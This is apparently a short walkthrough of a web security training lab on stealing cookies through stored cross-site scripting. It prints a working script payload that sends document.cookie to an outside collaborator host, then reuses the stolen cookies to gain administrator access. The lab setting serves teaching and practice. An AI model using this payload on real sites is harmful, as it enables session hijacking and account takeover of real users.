Skip to content

LAB 22 - Exploiting cross-site scripting to steal cookies

Initial instructions

To solve this lab I went to the following website.

XSS Cookie Stealer Payloads

And I took the following XSS cookie stealer.

<script>
fetch(`https://collaborator.net/x`+document.cookie);
</script>

alt text

Then I posted the comment and if we go to the collaborator I got the following request.

Here we have the cookies.

alt text

To complete the lab lets use them going to /my-account

Refresh and you are Administrator.

alt text

Congratulations, you solved the lab!